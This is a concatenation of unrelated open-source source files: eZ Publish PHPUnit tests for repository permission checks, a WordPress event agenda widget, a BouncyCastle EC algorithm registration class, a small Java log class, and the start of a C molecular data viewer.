$repositoryMock = $this->getMock(
"eZ\\Publish\\Core\\Repository\\Repository",
array( "hasAccess", "getCurrentUser" ),
array(
$this->getPersistenceMock(),
)
);
$repositoryMock
->expects( $this->once() )
->method( "hasAccess" )
->with( $this->equalTo( "test-module" ), $this->equalTo( "test-function" ) )
->will( $this->returnValue( $permissionSets ) );
/** @var $valueObject \eZ\Publish\API\Repository\Values\ValueObject */
$valueObject = $this->getMockForAbstractClass( "eZ\\Publish\\API\\Repository\\Values\\ValueObject" );
/** @var $repositoryMock \eZ\Publish\Core\Repository\Repository */
self::assertEquals(
$result,
$repositoryMock->canUser( "test-module", "test-function", $valueObject, $valueObject )
);
}
/**
* Test for the canUser() method.
*
* Tests execution path with permission set defining no limitations.
*
* @covers \eZ\Publish\API\Repository\Repository::canUser
*/
public function testCanUserWithoutLimitations()
{
$repositoryMock = $this->getMock(
"eZ\\Publish\\Core\\Repository\\Repository",
array( "hasAccess", "getCurrentUser" ),
array(
$this->getPersistenceMock(),
)
);
$policyMock = $this->getMock(
"eZ\\Publish\\SPI\\Persistence\\User\\Policy",
array( "getLimitations" ),
array(),
'',
false
);
$policyMock
->expects( $this->once() )
->method( "getLimitations" )
->will( $this->returnValue( "*" ) );
$permissionSets = array(
array(
"limitation" => null,
"policies" => array( $policyMock )
)
);
$repositoryMock
->expects( $this->once() )
->method( "hasAccess" )
->with( $this->equalTo( "test-module" ), $this->equalTo( "test-function" ) )
->will( $this->returnValue( $permissionSets ) );
$userMock = $this->getStubbedUser( 14 );
$repositoryMock
->expects( $this->once() )
->method( "getCurrentUser" )
->will( $this->returnValue( $userMock ) );
/** @var $valueObject \eZ\Publish\API\Repository\Values\ValueObject */
$valueObject = $this->getMockForAbstractClass( "eZ\\Publish\\API\\Repository\\Values\\ValueObject" );
/** @var $repositoryMock \eZ\Publish\Core\Repository\Repository */
self::assertTrue( $repositoryMock->canUser( "test-module", "test-function", $valueObject, $valueObject ) );
}
/**
* @return array
*/
private function getPermissionSetsMock()
{
$roleLimitationMock = $this->getMock( "eZ\\Publish\\API\\Repository\\Values\\User\\Limitation" );
$roleLimitationMock
->expects( $this->any() )
->method( "getIdentifier" )
->will( $this->returnValue( "test-role-limitation-identifier" ) );
$policyLimitationMock = $this->getMock( "eZ\\Publish\\API\\Repository\\Values\\User\\Limitation" );
$policyLimitationMock
->expects( $this->any() )
->method( "getIdentifier" )
->will( $this->returnValue( "test-policy-limitation-identifier" ) );
$policyMock = $this->getMock(
"eZ\\Publish\\SPI\\Persistence\\User\\Policy",
array( "getLimitations" ),
array(),
'',
false
);
$policyMock
->expects( $this->any() )
->method( "getLimitations" )
->will( $this->returnValue( array( $policyLimitationMock, $policyLimitationMock ) ) );
$permissionSet = array(
"limitation" => clone $roleLimitationMock,
"policies" => array( $policyMock, $policyMock )
);
$permissionSets = array( $permissionSet, $permissionSet );
return $permissionSets;
}
/**
* Provides evaluation results for two permission sets, each with a role limitation and two policies,
* with two limitations per policy.
*
* @return array
*/
public function providerForTestCanUserComplex()
{
return array(
array(
array( true, true ),
array(
array(
array( true, true ),
array( true, true ),
),
array(
array( true, true ),
array( true, true ),
),
),
true
),
array(
array( false, false ),
array(
array(
array( true, true ),
array( true, true ),
),
array(
array( true, true ),
array( true, true ),
),
),
false
),
array(
array( false, true ),
array(
array(
array( true, true ),
array( true, true ),
),
array(
array( true, true ),
array( true, true ),
),
),
true
),
array(
array( false, true ),
array(
array(
array( true, true ),
array( true, true ),
),
array(
array( true, false ),
array( true, true ),
),
),
true
),
array(
array( true, false ),
array(
array(
array( true, false ),
array( false, true ),
),
array(
array( true, true ),
array( true, true ),
),
),
false
),
);
}
/**
* Test for the canUser() method.
*
* Tests execution paths with permission sets containing limitations.
*
* @covers \eZ\Publish\API\Repository\Repository::canUser
* @dataProvider providerForTestCanUserComplex
*/
public function testCanUserComplex( array $roleLimitationEvaluations, array $policyLimitationEvaluations, $userCan )
{
/** @var $valueObject \eZ\Publish\API\Repository\Values\ValueObject */
$valueObject = $this->getMock( "eZ\\Publish\\API\\Repository\\Values\\ValueObject" );
$repositoryMock = $this->getMock(
"eZ\\Publish\\Core\\Repository\\Repository",
array( "getCurrentUser", "getRoleService", "hasAccess" ),
array(),
"",
false
);
$roleServiceMock = $this->getMock(
"eZ\\Publish\\Core\\Repository\\RoleService",
array( "getLimitationType" ),
array(),
"",
false
);
$repositoryMock
->expects( $this->once() )
->method( "getRoleService" )
->will( $this->returnValue( $roleServiceMock ) );
$permissionSets = $this->getPermissionSetsMock();
$repositoryMock
->expects( $this->once() )
->method( "hasAccess" )
->with( $this->equalTo( "test-module" ), $this->equalTo( "test-function" ) )
->will( $this->returnValue( $permissionSets ) );
$userMock = $this->getStubbedUser( 14 );
$repositoryMock
->expects( $this->once() )
->method( "getCurrentUser" )
->will( $this->returnValue( $userMock ) );
$invocation = 0;
for ( $i = 0; $i < count( $permissionSets ); $i++ )
{
$limitation = $this->getMock( "eZ\\Publish\\SPI\\Limitation\\Type" );
$limitation
->expects( $this->once() )
->method( "evaluate" )
->with( $permissionSets[$i]["limitation"], $userMock, $valueObject, array( $valueObject ) )
->will( $this->returnValue( $roleLimitationEvaluations[$i] ) );
$roleServiceMock
->expects( $this->at( $invocation++ ) )
->method( "getLimitationType" )
->with( "test-role-limitation-identifier" )
->will( $this->returnValue( $limitation ) );
if ( !$roleLimitationEvaluations[$i] )
{
continue;
}
for ( $j = 0; $j < count( $permissionSets[$i]["policies"] ); $j++ )
{
/** @var $policy \eZ\Publish\API\Repository\Values\User\Policy */
$policy = $permissionSets[$i]["policies"][$j];
$limitations = $policy->getLimitations();
for ( $k = 0; $k < count( $limitations ); $k++ )
{
$limitationsPass = true;
$limitation = $this->getMock( "eZ\\Publish\\SPI\\Limitation\\Type" );
$limitation
->expects( $this->once() )
->method( "evaluate" )
->with( $limitations[$k], $userMock, $valueObject, array( $valueObject ) )
->will( $this->returnValue( $policyLimitationEvaluations[$i][$j][$k] ) );
$roleServiceMock
->expects( $this->at( $invocation++ ) )
->method( "getLimitationType" )
->with( "test-policy-limitation-identifier" )
->will( $this->returnValue( $limitation ) );
if ( !$policyLimitationEvaluations[$i][$j][$k] )
{
$limitationsPass = false;
break;
}
}
/** @var $limitationsPass */
if ( $limitationsPass )
{
break 2;
}
}
}
/** @var $repositoryMock \eZ\Publish\Core\Repository\Repository */
self::assertEquals(
$userCan,
$repositoryMock->canUser( "test-module", "test-function", $valueObject, $valueObject )
);
}
/**
* Test for the canUser() method.
*
* @covers \eZ\Publish\API\Repository\Repository::canUser
* @expectedException \eZ\Publish\API\Repository\Exceptions\InvalidArgumentException
*/
public function testCanUserThrowsInvalidArgumentException()
{
$repositoryMock = $this->getMock(
"eZ\\Publish\\Core\\Repository\\Repository",
array( "hasAccess" ),
array(),
"",
false
);
$repositoryMock
->expects( $this->once() )
->method( "hasAccess" )
->with( $this->equalTo( "test-module" ), $this->equalTo( "test-function" ) )
->will( $this->returnValue( array() ) );
/** @var $valueObject \eZ\Publish\API\Repository\Values\ValueObject */
$valueObject = $this->getMockForAbstractClass( "eZ\\Publish\\API\\Repository\\Values\\ValueObject" );
/** @var $repositoryMock \eZ\Publish\Core\Repository\Repository */
$repositoryMock->canUser( "test-module", "test-function", $valueObject, "This is not a target" );
}
/**
* Test for the setCurrentUser() and getCurrentUser() methods.
*
* @covers \eZ\Publish\API\Repository\Repository::setCurrentUser
* @covers \eZ\Publish\API\Repository\Repository::getCurrentUser
*/
public function testSetAndGetCurrentUser()
{
$mockedRepository = $this->getRepository();
$user = $this->getStubbedUser( 42 );
$mockedRepository->setCurrentUser( $user );
self::assertSame(
$user,
$mockedRepository->getCurrentUser()
);
}
/**
* Test for the getCurrentUser() method.
*
* @covers \eZ\Publish\API\Repository\Repository::getCurrentUser
*/
public function testGetCurrentUserReturnsAnonymousUser()
{
$userServiceMock = $this->getMock( "eZ\\Publish\\API\\Repository\\UserService" );
$repositoryMock = $this->getMock(
"eZ\\Publish\\Core\\Repository\\Repository",
array( "getUserService" ),
array(
$this->getPersistenceMock(),
)
);
$userServiceMock
->expects( $this->once() )
->method( "loadAnonymousUser" )
->will( $this->returnValue( "Anonymous User" ) );
$repositoryMock
->expects( $this->once() )
->method( "getUserService" )
->will( $this->returnValue( $userServiceMock ) );
/** @var $repositoryMock \eZ\Publish\API\Repository\Repository */
self::assertEquals(
"Anonymous User",
$repositoryMock->getCurrentUser()
);
}
/**
* Test for the beginTransaction() method.
*
* @covers \eZ\Publish\API\Repository\Repository::beginTransaction
*/
public function testBeginTransaction()
{
$mockedRepository = $this->getRepository();
$persistenceHandlerMock = $this->getPersistenceMock();
$persistenceHandlerMock->expects(
$this->once()
)->method(
"beginTransaction"
);
$mockedRepository->beginTransaction();
}
/**
* Test for the commit() method.
*
* @covers \eZ\Publish\API\Repository\Repository::commit
*/
public function testCommit()
{
$mockedRepository = $this->getRepository();
$persistenceHandlerMock = $this->getPersistenceMock();
$persistenceHandlerMock->expects(
$this->once()
)->method(
"commit"
);
$mockedRepository->commit();
}
/**
* Test for the commit() method.
*
* @covers \eZ\Publish\API\Repository\Repository::commit
* @expectedException \RuntimeException
*/
public function testCommitThrowsRuntimeException()
{
$mockedRepository = $this->getRepository();
$persistenceHandlerMock = $this->getPersistenceMock();
$persistenceHandlerMock->expects(
$this->once()
)->method(
"commit"
)->will(
$this->throwException( new \Exception() )
);
$mockedRepository->commit();
}
/**
* Test for the rollback() method.
*
* @covers \eZ\Publish\API\Repository\Repository::rollback
*/
public function testRollback()
{
$mockedRepository = $this->getRepository();
$persistenceHandlerMock = $this->getPersistenceMock();
$persistenceHandlerMock->expects(
$this->once()
)->method(
"rollback"
);
$mockedRepository->rollback();
}
/**
* Test for the rollback() method.
*
* @covers \eZ\Publish\API\Repository\Repository::rollback
* @expectedException \RuntimeException
*/
public function testRollbackThrowsRuntimeException()
{
$mockedRepository = $this->getRepository();
$persistenceHandlerMock = $this->getPersistenceMock();
$persistenceHandlerMock->expects(
$this->once()
)->method(
"rollback"
)->will(
$this->throwException( new \Exception() )
);
$mockedRepository->rollback();
}
}
| gbentley/ezpublish-kernel | eZ/Publish/Core/Repository/Tests/Service/Mock/RepositoryTest.php | PHP | gpl-2.0 | 32,910 |
<?php
/**
* Class used to create the event calendar widget
*/
class EO_Events_Agenda_Widget extends WP_Widget{
var $w_arg = array();
static $agendas=array();
function __construct() {
$widget_ops = array('classname' => 'widget_events', 'description' => __('Displays a list of events, grouped by date','eventorganiser'));
$this->w_arg = array(
'title'=> '',
'mode'=> 'day',
'group_format'=>'l, jS F',
'item_format'=> get_option( 'time_format' ),
'add_to_google' => 1,
);
parent::__construct('EO_Events_Agenda_Widget', __('Events Agenda','eventorganiser'), $widget_ops);
}
function form($instance) {
$instance = wp_parse_args( (array) $instance, $this->w_arg );
?>
<p>
<label for="<?php echo $this->get_field_id('title'); ?>"><?php _e('Title', 'eventorganiser'); ?>: </label>
<input id="<?php echo $this->get_field_id('title'); ?>" name="<?php echo $this->get_field_name('title'); ?>" type="text" value="<?php echo esc_attr($instance['title']);?>" />
</p>
<p>
<label for="<?php echo $this->get_field_id('mode'); ?>"><?php _e('Group by', 'eventorganiser'); ?>: </label>
<select id="<?php echo $this->get_field_id('mode'); ?>" name="<?php echo $this->get_field_name('mode'); ?>" type="text">
<option value="day" <?php selected($instance['mode'], ''); ?>><?php _e('Day','eventorganiser'); ?> </option>
<option value="week" <?php selected($instance['mode'], 'week'); ?>><?php _e('Week','eventorganiser'); ?> </option>
<option value="month" <?php selected($instance['mode'], 'month'); ?>><?php _e('Month','eventorganiser'); ?> </option>
</select>
</p>
<p>
<label for="<?php echo $this->get_field_id('group_format'); ?>"><?php _e('Group date format', 'eventorganiser'); ?>: </label>
<input id="<?php echo $this->get_field_id('group_format'); ?>" name="<?php echo $this->get_field_name('group_format'); ?>" type="text" value="<?php echo esc_attr($instance['group_format']);?>" />
</p>
<p>
<label for="<?php echo $this->get_field_id('item_format'); ?>"><?php _e('Event date/time format', 'eventorganiser'); ?>: </label>
<input id="<?php echo $this->get_field_id('item_format'); ?>" name="<?php echo $this->get_field_name('item_format'); ?>" type="text" value="<?php echo esc_attr($instance['item_format']);?>" />
</p>
<p>
<label for="<?php echo $this->get_field_id('add_to_google'); ?>"><?php _e('Include \'Add To Google\' link','eventorganiser'); ?>: </label>
<input id="<?php echo $this->get_field_id('add_to_google'); ?>" name="<?php echo $this->get_field_name('add_to_google'); ?>" type="checkbox" value="1" <?php checked($instance['add_to_google'],1);?>" />
</p>
<?php
}
function update($new_instance, $old_instance){
$validated=array();
delete_transient('eo_widget_agenda');
$validated['title'] = sanitize_text_field( $new_instance['title'] );
$validated['mode'] = sanitize_text_field( $new_instance['mode'] );
$validated['group_format'] = sanitize_text_field( $new_instance['group_format'] );
$validated['item_format'] = sanitize_text_field( $new_instance['item_format'] );
$validated['add_to_google'] = intval( $new_instance['add_to_google']);
return $validated;
}
function widget($args, $instance){
global $wp_locale;
wp_enqueue_script( 'eo_front');
wp_enqueue_style( 'eo_front');
extract($args, EXTR_SKIP);
add_action('wp_footer', array(__CLASS__, 'add_options_to_script'));
$id = esc_attr($args['widget_id']).'_container';
self::$agendas[$id] = array(
'id'=>esc_attr($args['widget_id']),
'number'=>$this->number,
'mode'=> isset($instance['mode']) ? $instance['mode'] : 'day',
'add_to_google'=>$instance['add_to_google']
);
//Echo widget
echo $before_widget;
$widget_title = apply_filters('widget_title', $instance['title'], $instance, $this->id_base);
if ( $widget_title )
echo $before_title.esc_html($widget_title).$after_title;
echo "<div style='width:100%' id='{$id}' class='eo-agenda-widget'>";
?>
<div class='agenda-nav'>
<span class="next button ui-button ui-widget ui-state-default ui-corner-all ui-button-icon-only" role="button" title="">
<span class="ui-button-icon-primary ui-icon ui-icon-carat-1-e"></span><span class="ui-button-text"></span>
</span>
<span class="prev button ui-button ui-widget ui-state-default ui-corner-all ui-button-icon-only" role="button" title="">
<span class="ui-button-icon-primary ui-icon ui-icon-carat-1-w"></span><span class="ui-button-text"></span>
</span>
</div>
<?php
echo "<ul class='dates'>";
echo '</ul>';//End dates
echo "</div>";
echo $after_widget;
}
function add_options_to_script() {
if(!empty(self::$agendas))
wp_localize_script( 'eo_front', 'eo_widget_agenda', self::$agendas);
}
}
| PHPSP/phpsp-blog | wp-content/plugins/event-organiser/classes/class-eo-agenda-widget.php | PHP | gpl-2.0 | 4,732 |
/* Copyright Statement:
*
* This software/firmware and related documentation ("MediaTek Software") are
* protected under relevant copyright laws. The information contained herein is
* confidential and proprietary to MediaTek Inc. and/or its licensors. Without
* the prior written permission of MediaTek inc. and/or its licensors, any
* reproduction, modification, use or disclosure of MediaTek Software, and
* information contained herein, in whole or in part, shall be strictly
* prohibited.
*
* MediaTek Inc. (C) 2010. All rights reserved.
*
* BY OPENING THIS FILE, RECEIVER HEREBY UNEQUIVOCALLY ACKNOWLEDGES AND AGREES
* THAT THE SOFTWARE/FIRMWARE AND ITS DOCUMENTATIONS ("MEDIATEK SOFTWARE")
* RECEIVED FROM MEDIATEK AND/OR ITS REPRESENTATIVES ARE PROVIDED TO RECEIVER
* ON AN "AS-IS" BASIS ONLY. MEDIATEK EXPRESSLY DISCLAIMS ANY AND ALL
* WARRANTIES, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE IMPLIED
* WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE OR
* NONINFRINGEMENT. NEITHER DOES MEDIATEK PROVIDE ANY WARRANTY WHATSOEVER WITH
* RESPECT TO THE SOFTWARE OF ANY THIRD PARTY WHICH MAY BE USED BY,
* INCORPORATED IN, OR SUPPLIED WITH THE MEDIATEK SOFTWARE, AND RECEIVER AGREES
* TO LOOK ONLY TO SUCH THIRD PARTY FOR ANY WARRANTY CLAIM RELATING THERETO.
* RECEIVER EXPRESSLY ACKNOWLEDGES THAT IT IS RECEIVER'S SOLE RESPONSIBILITY TO
* OBTAIN FROM ANY THIRD PARTY ALL PROPER LICENSES CONTAINED IN MEDIATEK
* SOFTWARE. MEDIATEK SHALL ALSO NOT BE RESPONSIBLE FOR ANY MEDIATEK SOFTWARE
* RELEASES MADE TO RECEIVER'S SPECIFICATION OR TO CONFORM TO A PARTICULAR
* STANDARD OR OPEN FORUM. RECEIVER'S SOLE AND EXCLUSIVE REMEDY AND MEDIATEK'S
* ENTIRE AND CUMULATIVE LIABILITY WITH RESPECT TO THE MEDIATEK SOFTWARE
* RELEASED HEREUNDER WILL BE, AT MEDIATEK'S OPTION, TO REVISE OR REPLACE THE
* MEDIATEK SOFTWARE AT ISSUE, OR REFUND ANY SOFTWARE LICENSE FEES OR SERVICE
* CHARGE PAID BY RECEIVER TO MEDIATEK FOR SUCH MEDIATEK SOFTWARE AT ISSUE.
*
* The following software/firmware and/or related documentation ("MediaTek
* Software") have been modified by MediaTek Inc. All revisions are subject to
* any receiver's applicable license agreements with MediaTek Inc.
*/
package org.bouncycastle.jce.provider.asymmetric;
import java.util.HashMap;
import org.bouncycastle.asn1.DERObjectIdentifier;
import org.bouncycastle.asn1.cryptopro.CryptoProObjectIdentifiers;
// BEGIN android-removed
// import org.bouncycastle.asn1.eac.EACObjectIdentifiers;
// import org.bouncycastle.asn1.teletrust.TeleTrusTObjectIdentifiers;
// END android-removed
import org.bouncycastle.asn1.x9.X9ObjectIdentifiers;
public class EC
{
public static class Mappings
extends HashMap
{
public Mappings()
{
put("KeyAgreement.ECDH", "org.bouncycastle.jce.provider.asymmetric.ec.KeyAgreement$DH");
// BEGIN android-removed
// put("KeyAgreement.ECDHC", "org.bouncycastle.jce.provider.asymmetric.ec.KeyAgreement$DHC");
// put("KeyAgreement.ECMQV", "org.bouncycastle.jce.provider.asymmetric.ec.KeyAgreement$MQV");
// put("KeyAgreement." + X9ObjectIdentifiers.dhSinglePass_stdDH_sha1kdf_scheme, "org.bouncycastle.jce.provider.asymmetric.ec.KeyAgreement$DHwithSHA1KDF");
// put("KeyAgreement." + X9ObjectIdentifiers.mqvSinglePass_sha1kdf_scheme, "org.bouncycastle.jce.provider.asymmetric.ec.KeyAgreement$MQVwithSHA1KDF");
// END android-removed
put("KeyFactory.EC", "org.bouncycastle.jce.provider.asymmetric.ec.KeyFactory$EC");
// BEGIN android-removed
// put("KeyFactory.ECDSA", "org.bouncycastle.jce.provider.asymmetric.ec.KeyFactory$ECDSA");
// put("KeyFactory.ECDH", "org.bouncycastle.jce.provider.asymmetric.ec.KeyFactory$ECDH");
// put("KeyFactory.ECDHC", "org.bouncycastle.jce.provider.asymmetric.ec.KeyFactory$ECDHC");
// put("KeyFactory.ECMQV", "org.bouncycastle.jce.provider.asymmetric.ec.KeyFactory$ECMQV");
// END android-removed
put("Alg.Alias.KeyFactory." + X9ObjectIdentifiers.id_ecPublicKey, "EC");
// TODO Should this be an alias for ECDH?
put("Alg.Alias.KeyFactory." + X9ObjectIdentifiers.dhSinglePass_stdDH_sha1kdf_scheme, "EC");
// BEGIN android-removed
// put("Alg.Alias.KeyFactory." + X9ObjectIdentifiers.mqvSinglePass_sha1kdf_scheme, "ECMQV");
//
// put("KeyFactory.ECGOST3410", "org.bouncycastle.jce.provider.asymmetric.ec.KeyFactory$ECGOST3410");
// put("Alg.Alias.KeyFactory.GOST-3410-2001", "ECGOST3410");
// put("Alg.Alias.KeyFactory.ECGOST-3410", "ECGOST3410");
// put("Alg.Alias.KeyFactory." + CryptoProObjectIdentifiers.gostR3410_2001, "ECGOST3410");
// END android-removed
put("KeyPairGenerator.EC", "org.bouncycastle.jce.provider.asymmetric.ec.KeyPairGenerator$EC");
// BEGIN android-removed
// put("KeyPairGenerator.ECDSA", "org.bouncycastle.jce.provider.asymmetric.ec.KeyPairGenerator$ECDSA");
// put("KeyPairGenerator.ECDH", "org.bouncycastle.jce.provider.asymmetric.ec.KeyPairGenerator$ECDH");
// put("KeyPairGenerator.ECDHC", "org.bouncycastle.jce.provider.asymmetric.ec.KeyPairGenerator$ECDHC");
// put("KeyPairGenerator.ECIES", "org.bouncycastle.jce.provider.asymmetric.ec.KeyPairGenerator$ECDH");
// put("KeyPairGenerator.ECMQV", "org.bouncycastle.jce.provider.asymmetric.ec.KeyPairGenerator$ECMQV");
// END android-removed
// TODO Should this be an alias for ECDH?
put("Alg.Alias.KeyPairGenerator." + X9ObjectIdentifiers.dhSinglePass_stdDH_sha1kdf_scheme, "EC");
// BEGIN android-removed
// put("Alg.Alias.KeyPairGenerator." + X9ObjectIdentifiers.mqvSinglePass_sha1kdf_scheme, "ECMQV");
//
// put("KeyPairGenerator.ECGOST3410", "org.bouncycastle.jce.provider.asymmetric.ec.KeyPairGenerator$ECGOST3410");
// put("Alg.Alias.KeyPairGenerator.ECGOST-3410", "ECGOST3410");
// put("Alg.Alias.KeyPairGenerator.GOST-3410-2001", "ECGOST3410");
// END android-removed
put("Signature.ECDSA", "org.bouncycastle.jce.provider.asymmetric.ec.Signature$ecDSA");
put("Signature.NONEwithECDSA", "org.bouncycastle.jce.provider.asymmetric.ec.Signature$ecDSAnone");
put("Alg.Alias.Signature.SHA1withECDSA", "ECDSA");
put("Alg.Alias.Signature.ECDSAwithSHA1", "ECDSA");
put("Alg.Alias.Signature.SHA1WITHECDSA", "ECDSA");
put("Alg.Alias.Signature.ECDSAWITHSHA1", "ECDSA");
put("Alg.Alias.Signature.SHA1WithECDSA", "ECDSA");
put("Alg.Alias.Signature.ECDSAWithSHA1", "ECDSA");
put("Alg.Alias.Signature.1.2.840.10045.4.1", "ECDSA");
// BEGIN android-removed
// put("Alg.Alias.Signature." + TeleTrusTObjectIdentifiers.ecSignWithSha1, "ECDSA");
//
// addSignatureAlgorithm("SHA224", "ECDSA", "org.bouncycastle.jce.provider.asymmetric.ec.Signature$ecDSA224", X9ObjectIdentifiers.ecdsa_with_SHA224);
// END android-removed
addSignatureAlgorithm("SHA256", "ECDSA", "org.bouncycastle.jce.provider.asymmetric.ec.Signature$ecDSA256", X9ObjectIdentifiers.ecdsa_with_SHA256);
addSignatureAlgorithm("SHA384", "ECDSA", "org.bouncycastle.jce.provider.asymmetric.ec.Signature$ecDSA384", X9ObjectIdentifiers.ecdsa_with_SHA384);
addSignatureAlgorithm("SHA512", "ECDSA", "org.bouncycastle.jce.provider.asymmetric.ec.Signature$ecDSA512", X9ObjectIdentifiers.ecdsa_with_SHA512);
// BEGIN android-removed
// addSignatureAlgorithm("RIPEMD160", "ECDSA", "org.bouncycastle.jce.provider.asymmetric.ec.Signature$ecDSARipeMD160",TeleTrusTObjectIdentifiers.ecSignWithRipemd160);
//
// put("Signature.SHA1WITHECNR", "org.bouncycastle.jce.provider.asymmetric.ec.Signature$ecNR");
// put("Signature.SHA224WITHECNR", "org.bouncycastle.jce.provider.asymmetric.ec.Signature$ecNR224");
// put("Signature.SHA256WITHECNR", "org.bouncycastle.jce.provider.asymmetric.ec.Signature$ecNR256");
// put("Signature.SHA384WITHECNR", "org.bouncycastle.jce.provider.asymmetric.ec.Signature$ecNR384");
// put("Signature.SHA512WITHECNR", "org.bouncycastle.jce.provider.asymmetric.ec.Signature$ecNR512");
//
// addSignatureAlgorithm("SHA1", "CVC-ECDSA", "org.bouncycastle.jce.provider.asymmetric.ec.Signature$ecCVCDSA", EACObjectIdentifiers.id_TA_ECDSA_SHA_1);
// addSignatureAlgorithm("SHA224", "CVC-ECDSA", "org.bouncycastle.jce.provider.asymmetric.ec.Signature$ecCVCDSA224", EACObjectIdentifiers.id_TA_ECDSA_SHA_224);
// addSignatureAlgorithm("SHA256", "CVC-ECDSA", "org.bouncycastle.jce.provider.asymmetric.ec.Signature$ecCVCDSA256", EACObjectIdentifiers.id_TA_ECDSA_SHA_256);
// END android-removed
}
private void addSignatureAlgorithm(
String digest,
String algorithm,
String className,
DERObjectIdentifier oid)
{
String mainName = digest + "WITH" + algorithm;
String jdk11Variation1 = digest + "with" + algorithm;
String jdk11Variation2 = digest + "With" + algorithm;
String alias = digest + "/" + algorithm;
put("Signature." + mainName, className);
put("Alg.Alias.Signature." + jdk11Variation1, mainName);
put("Alg.Alias.Signature." + jdk11Variation2, mainName);
put("Alg.Alias.Signature." + alias, mainName);
put("Alg.Alias.Signature." + oid, mainName);
put("Alg.Alias.Signature.OID." + oid, mainName);
}
}
}
| rex-xxx/mt6572_x201 | mediatek/frameworks/base/tests/net/tests/src/mediatek/net/libcore/external/bouncycastle/jce/provider/asymmetric/EC.java | Java | gpl-2.0 | 9,912 |
package DBMS.info.loginfo;
import DBMS.info.info.InfoTypeEnum;
public class LogInfo extends LogInfoWithTime {
public LogInfo(String msg) {
this(InfoTypeEnum.INFO, msg);
}
private LogInfo(InfoTypeEnum type, String msg) {
super(type, msg);
}
}
| GreatStone/Mini-DBMS | MySql/src/DBMS/info/loginfo/LogInfo.java | Java | gpl-2.0 | 253 |
/*VASP Data Viewer - Views 3d data sets of molecular charge distribution
Copyright (C) 1999-2001 Timothy B. Terriberry
(mailto:tterribe@users.sourceforge.net)
2011 Janne Blomqvist
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA*/
#include "ds3.hh"
#include "ds3view.hh"
static int ds3ViewGetClipBox(DS3View *_this,int _x0,int _y0,int _x1,int _y1,
Vect3d _box[2]);
static int ds3ViewGetRayLineISect(DS3View *_this,Vect3d _p,double *_t,
const Vect3d _p0,const Vect3d _p1,
const Vect3d _q0,const Vect3d _q1,
double _e);
static int ds3ViewGetAxesPoint(DS3View *_this,Vect3d _p,double *_t,
const Vect3d _p0,const Vect3d _p1);
static int ds3ViewRaySphereISect(DS3View *_this,Vect3d _p,double *_t,
const Vect3d _p0,const Vect3d _p1,
const Vect3d _c,double _r);
static int ds3ViewGetPointsPoint(DS3View *_this,Vect3d _p,double *_t,
const Vect3d _p0,const Vect3d _p1);
# if defined(__DS3_ADD_BONDS__)
static int ds3ViewGetBondsPoint(DS3View *_this,Vect3d _p,double *_t,
const Vect3d _p0,const Vect3d _p1);
# endif
static int ds3ViewGetSlicePoint(DS3View *_this,Vect3d _p,double *_t,
const Vect3d _p0,const Vect3d _p1);
static void ds3ViewTransferCapture(DS3View *_this,int _x,int _y);
/*Expands the yaw, pitch, and roll angles into a full 3x3 rotation matrix.
This is equal to
[[cos(r),-sin(r),0], [[ cos(p),0,sin(p)], [[1, 0 , 0 ],
[sin(r), cos(r),0], * [ 0 ,1, 0 ], * [0,cos(y),-sin(y)],
[ 0 , 0 ,1]] [-sin(p),0,cos(p)]] [0,sin(y), cos(y)]]
And multiplication by a column vector on the right will perform the
rotation.*/
void ds3ViewExpandRot(double _y,double _p,double _r,double _rot[3][3])
{
double sx,cx,sy,cy,sz,cz,szsy,czsy;
sx=sin(_y*(M_PI/180));
cx=cos(_y*(M_PI/180));
sy=sin(_p*(M_PI/180));
cy=cos(_p*(M_PI/180));
sz=sin(_r*(M_PI/180));
cz=cos(_r*(M_PI/180));
szsy=sz*sy;
czsy=cz*sy;
_rot[0][0]=cz*cy;
_rot[0][1]=czsy*sx-sz*cx;
_rot[0][2]=czsy*cx+sz*sx;
_rot[1][0]=sz*cy;
_rot[1][1]=szsy*sx+cz*cx;
_rot[1][2]=szsy*cx-cz*sx;
_rot[2][0]=-sy;
_rot[2][1]=cy*sx;
_rot[2][2]=cy*cx;
}
static void ds3ViewLayout(GLWLayoutManager *_this,DS3View *_ds3view)
{
GLWRect *b;
b=&_ds3view->super.bounds;
glwCompSetBounds(&_ds3view->cm_axes.super,0,0,b->w,b->h);
glwCompSetBounds(&_ds3view->cm_box.super,0,0,b->w,b->h);
glwCompSetBounds(&_ds3view->cm_slice.super,0,0,b->w,b->h);
glwCompSetBounds(&_ds3view->cm_iso.super,0,0,b->w,b->h);
glwCompSetBounds(&_ds3view->cm_pts.super,0,0,b->w,b->h);
}
static GLWLayoutManager ds3_view_layout= {
(GLWLayoutFunc)ds3ViewLayout,
NULL,
NULL,
NULL,
NULL
};
/*The general strategy here is to clip lines of the box against each plane
defined by the rectangle drawn by the user. All the intersections points
are collected, and the closest one used to shrink a dimension of the box,
and this is repeated until the box cannot be clipped by any more planes. If
at any time the box falls entirely outside of the rectangle, we return
failure. I used to try to do this in the correct order initially, instead
of generating all the points and seeing which was closest, but it didn't
work very well. Once an intersection is resolved, all the other
intersections which are still in the box could be saved, but it seems more
work to check to see if we already have them than to just go ahead and
generate them again.*/
static int ds3ViewGetClipBox(DS3View *_this,int _x0,int _y0,int _x1,int _y1,
Vect3d _box[2])
{
typedef struct DS3EdgeIsect {
int idx;
int axs;
int pln;
int dir;
double t;
} DS3EdgeIsect;
DS3EdgeIsect isects[32];
int nisects;
double plane[4][4];
int ff[6];
Vect3d p0[4];
Vect3d p1[4];
Vect3d b[8];
Vect3d z;
Vect3d eye;
double d[4][8];
double id = 0; // "may be used uninitialized"
int i;
int j;
int k;
int l;
if (_x0==_x1||_y0==_y1)return 0;
if (_x0>_x1) {
i=_x0;
_x0=_x1;
_x1=i;
}
if (_y0>_y1) {
i=_y0;
_y0=_y1;
_y1=i;
}
for (i=0; i<8; i++) {
for (j=0; j<3; j++)b[i][j]=_this->box[i&1<<j?1:0][j];
}
/*We only clip sides of the box that are facing the viewer, so back-transform
the eyepoint, and figure out which planes are on which side of it*/
vectMul3d(p0[0],_this->rot[Z],_this->zoom);
vectAdd3d(p0[0],p0[0],_this->cntr);
